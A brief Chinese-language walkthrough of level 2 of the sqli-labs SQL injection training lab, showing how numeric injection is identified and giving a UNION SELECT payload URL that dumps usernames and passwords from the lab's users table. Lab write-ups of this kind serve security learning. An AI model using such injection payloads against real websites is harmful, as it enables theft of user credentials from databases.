sqli-labs系列——第二关

判断注入类型

1' and '1'='1	//错误
1 and 1=1		//正常	

所以是数字型注入，所以不需要单引号来闭合前边的参数，但是要用-把参数注释掉，让Mysql执行我们后边的exp

开始注入

这里就不一一去爆了，跟第一关的流程是一样的，直接上exp干了：

http://192.168.1.113:86/Less-2/?id=-1 union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23